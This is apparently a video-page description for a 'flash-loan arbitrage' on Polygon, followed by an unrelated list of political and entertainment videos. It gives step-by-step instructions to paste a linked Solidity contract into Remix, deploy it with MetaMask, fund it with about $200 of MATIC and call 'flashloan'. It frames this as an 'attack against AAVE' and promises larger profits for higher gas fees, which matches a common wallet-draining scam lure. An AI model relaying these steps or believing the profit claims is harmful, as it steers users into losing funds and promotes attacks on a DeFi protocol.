Matic - Polygon Chain: How to setup a Multi DEX arbitrage on Polygon with Metamask and Solidity
Smart Contract Code Link - https://raw.githubusercontent.com/MC-Finance/contracts/main/MaticPolygonArbitrageContract.sol
*****NOTE: "Web 3 Injected" is now "Injected Provider" in Remix.
Remix Link - http://remix.ethereum.org/
Connecting MetaMask to Polygon Mainnet(Matic) - https://medium.com/stakingbits/setting-up-metamask-for-polygon-matic-network-838058f6d844
Flash Loan Explanation - https://academy.binance.com/en/articles/what-are-flash-loans-in-defi
USD to MATIC - https://coincodex.com/convert/matic-network/usd/
TO EARN MORE THAN THE AMOUNT IN THE VIDEO YOU CAN INCREASE GAS FEE
In this video, you can see how I used Flashloans to Arbitrage in Matic Mainnet by deploying Contract/Token to mask our arbitrage attack against AAVE.
This worked for me. But TRY IT AT YOUR OWN RISK.
STEPS:
Before starting, install and setup MetaMask in Chrome Browser.
1. Open and setup Remix in browser (https://remix.ethereum.org)
2. Copy the Contract code (https://raw.githubusercontent.com/MC-Finance/contracts/main/MaticPolygonArbitrageContract.sol)
3. Create new file in Remix and paste Contract code and wait for everything to load, Go to Solidity Compiler and Select compiler to 0.5.0+commit version and hit Compile.
4. In Deploy & Run Transactions, Select Injected Web3 in Environment dropdown menu to connect your MetaMask. On Deploy, Enter your token details and deploy the contract
5. Get the Contract address from Remix
6. Send 200$ish of MATIC to the contract for gas fee for all swaps (There are going to be many swaps to use all funds from out liquidity pools.
7. Call 'flashloan' function in Remix.
-
31:43
TheMonicaCrowleyPodcast
17 hours agoThe Monica Crowley Podcast: The System: Powerful, Desperate and Evil
4.77K8 -
1:00:12
The StoneZONE with Roger Stone
12 hours agoDeep State Fails To Kill Trump: Naval Intel Officers Reveal Who Pulled The Strings | The StoneZONE
18.7K49 -
8:25
Vigilant News Network
15 hours agoMissing Joe Biden Sparks Coup Speculation | Beyond the Headlines
46.4K118 -
14:42
Chrissy Clark
13 hours agoDisney Drops Triggering Teddy Bear & Hunter Biden Drops Lawsuit I Underreported Stories
12K15 -
52:53
Film Threat
13 hours agoDEADPOOL & WOLVERINE SOCIAL MEDIA REACTIONS | Film Threat Livecast
25.2K8 -
4:25:06
Fresh and Fit
14 hours agoMatthew Cox On Becoming FBI's Most Wanted Con Man, $55 Million In Fraud, Prison & MORE
125K59 -
1:03:39
Man in America
20 hours ago🔴 LIVE: DNC COUP? Who Signed Biden’s Letter? WHERE IS JOE???
105K148 -
2:05:27
Kim Iversen
14 hours agoUNREAL: Polls Claim Tight Race Between Harris And Trump | RESIGN! Secret Service Chief Stonewalls Congress
127K316 -
11:54
SLS - Street League Skateboarding
18 hours agoBest of Chloe Covell | Street League
84.3K11 -
57:37
Patriots With Grit
1 day agoHow Voting Machines & Databases Are Compromised: How To Regain Honest Elections | Mark Cook
96.8K26